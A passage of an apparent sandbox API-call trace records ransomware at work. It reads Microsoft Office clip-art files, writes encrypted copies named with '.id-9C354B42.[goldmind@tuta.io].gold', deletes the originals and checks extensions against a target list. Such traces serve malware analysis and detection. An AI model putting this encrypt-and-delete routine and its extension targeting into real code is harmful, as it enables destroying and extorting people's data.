dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.375] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7996) returned 1 [0107.375] CloseHandle (hObject=0x230) returned 1 [0107.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 0x20 [0107.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.376] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.376] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.376] GetLastError () returned 0x0 [0107.376] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1f3c, lpOverlapped=0x0) returned 1 [0107.400] WriteFile (in: hFile=0x180, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0107.401] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0107.401] WriteFile (in: hFile=0x180, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.401] SetEndOfFile (hFile=0x180) returned 1 [0107.401] CloseHandle (hObject=0x180) returned 1 [0107.401] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.401] SetEndOfFile (hFile=0x230) returned 1 [0107.403] CloseHandle (hObject=0x230) returned 1 [0107.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0107.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.463] lstrlenW (lpString=".doc") returned 4 [0107.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.463] lstrlenW (lpString=".docx") returned 5 [0107.463] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.463] lstrlenW (lpString=".pdf") returned 4 [0107.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.463] lstrlenW (lpString=".xls") returned 4 [0107.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.463] lstrlenW (lpString=".xlsx") returned 5 [0107.463] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.463] lstrlenW (lpString=".ppt") returned 4 [0107.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.463] lstrlenW (lpString=".zip") returned 4 [0107.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.463] lstrlenW (lpString=".rar") returned 4 [0107.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.463] lstrlenW (lpString=".bz2") returned 4 [0107.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.463] lstrlenW (lpString=".7z") returned 3 [0107.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.464] lstrlenW (lpString=".dbf") returned 4 [0107.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.464] lstrlenW (lpString=".1cd") returned 4 [0107.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.464] lstrlenW (lpString=".jpg") returned 4 [0107.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.464] lstrlenW (lpString=".doc") returned 4 [0107.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString=".docx") returned 5 [0107.464] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.464] lstrlenW (lpString=".pdf") returned 4 [0107.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString=".xls") returned 4 [0107.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.464] lstrlenW (lpString=".xlsx") returned 5 [0107.464] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.464] lstrlenW (lpString=".ppt") returned 4 [0107.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.464] lstrlenW (lpString=".zip") returned 4 [0107.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.464] lstrlenW (lpString=".rar") returned 4 [0107.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString=".bz2") returned 4 [0107.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString=".7z") returned 3 [0107.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.464] lstrlenW (lpString=".dbf") returned 4 [0107.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.464] lstrlenW (lpString=".1cd") returned 4 [0107.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0107.464] lstrlenW (lpString=".jpg") returned 4 [0107.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.464] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.464] lstrlenW (lpString="J0107290.WMF") returned 12 [0107.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0107.465] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=12308) returned 1 [0107.465] CloseHandle (hObject=0x39c) returned 1 [0107.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 0x20 [0107.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0107.465] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.465] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.466] GetLastError () returned 0x0 [0107.466] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3014, lpOverlapped=0x0) returned 1 [0107.476] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3020, lpOverlapped=0x0) returned 1 [0107.477] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0107.477] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.477] SetEndOfFile (hFile=0x38c) returned 1 [0107.477] CloseHandle (hObject=0x38c) returned 1 [0107.477] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.477] SetEndOfFile (hFile=0x39c) returned 1 [0107.479] CloseHandle (hObject=0x39c) returned 1 [0107.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0107.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.480] lstrlenW (lpString=".doc") returned 4 [0107.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.480] lstrlenW (lpString=".docx") returned 5 [0107.480] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.480] lstrlenW (lpString=".pdf") returned 4 [0107.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.480] lstrlenW (lpString=".xls") returned 4 [0107.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.480] lstrlenW (lpString=".xlsx") returned 5 [0107.480] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.480] lstrlenW (lpString=".ppt") returned 4 [0107.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.480] lstrlenW (lpString=".zip") returned 4 [0107.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.480] lstrlenW (lpString=".rar") returned 4 [0107.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.480] lstrlenW (lpString=".bz2") returned 4 [0107.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.480] lstrlenW (lpString=".7z") returned 3 [0107.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.480] lstrlenW (lpString=".dbf") returned 4 [0107.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.480] lstrlenW (lpString=".1cd") returned 4 [0107.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.481] lstrlenW (lpString=".jpg") returned 4 [0107.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.481] lstrlenW (lpString=".doc") returned 4 [0107.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.481] lstrlenW (lpString=".docx") returned 5 [0107.481] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.481] lstrlenW (lpString=".pdf") returned 4 [0107.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.481] lstrlenW (lpString=".xls") returned 4 [0107.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.481] lstrlenW (lpString=".xlsx") returned 5 [0107.481] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.481] lstrlenW (lpString=".ppt") returned 4 [0107.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.481] lstrlenW (lpString=".zip") returned 4 [0107.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.481] lstrlenW (lpString=".rar") returned 4 [0107.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.481] lstrlenW (lpString=".bz2") returned 4 [0107.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.481] lstrlenW (lpString=".7z") returned 3 [0107.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.481] lstrlenW (lpString=".dbf") returned 4 [0107.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.481] lstrlenW (lpString=".1cd") returned 4 [0107.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63 [0107.481] lstrlenW (lpString=".jpg") returned 4 [0107.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.481] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.481] lstrlenW (lpString="J0107302.WMF") returned 12 [0107.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.502] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4136) returned 1 [0107.502] CloseHandle (hObject=0x3a8) returned 1 [0107.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 0x20 [0107.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.707] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.707] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.708] GetLastError () returned 0x0 [0107.708] ReadFile (in: hFile=0x188, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1028, lpOverlapped=0x0) returned 1 [0107.722] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1030, lpOverlapped=0x0) returned 1 [0107.723] ReadFile (in: hFile=0x188, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0107.723] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.723] SetEndOfFile (hFile=0x3b8) returned 1 [0107.723] CloseHandle (hObject=0x3b8) returned 1 [0107.724] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.724] SetEndOfFile (hFile=0x188) returned 1 [0107.725] CloseHandle (hObject=0x188) returned 1 [0107.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0107.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.783] lstrlenW (lpString=".doc") returned 4 [0107.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.783] lstrlenW (lpString=".docx") returned 5 [0107.783] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.783] lstrlenW (lpString=".pdf") returned 4 [0107.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.783] lstrlenW (lpString=".xls") returned 4 [0107.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.783] lstrlenW (lpString=".xlsx") returned 5 [0107.783] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.783] lstrlenW (lpString=".ppt") returned 4 [0107.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.783] lstrlenW (lpString=".zip") returned 4 [0107.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.783] lstrlenW (lpString=".rar") returned 4 [0107.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.783] lstrlenW (lpString=".bz2") returned 4 [0107.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.783] lstrlenW (lpString=".7z") returned 3 [0107.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.783] lstrlenW (lpString=".dbf") returned 4 [0107.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.784] lstrlenW (lpString=".1cd") returned 4 [0107.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.784] lstrlenW (lpString=".jpg") returned 4 [0107.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.784] lstrlenW (lpString=".doc") returned 4 [0107.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString=".docx") returned 5 [0107.784] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.784] lstrlenW (lpString=".pdf") returned 4 [0107.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString=".xls") returned 4 [0107.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.784] lstrlenW (lpString=".xlsx") returned 5 [0107.784] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.784] lstrlenW (lpString=".ppt") returned 4 [0107.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.784] lstrlenW (lpString=".zip") returned 4 [0107.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.784] lstrlenW (lpString=".rar") returned 4 [0107.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString=".bz2") returned 4 [0107.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString=".7z") returned 3 [0107.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.784] lstrlenW (lpString=".dbf") returned 4 [0107.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.784] lstrlenW (lpString=".1cd") returned 4 [0107.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0107.784] lstrlenW (lpString=".jpg") returned 4 [0107.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.784] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.784] lstrlenW (lpString="J0107450.WMF") returned 12 [0107.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.861] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4920) returned 1 [0107.861] CloseHandle (hObject=0x3cc) returned 1 [0107.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 0x20 [0107.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, 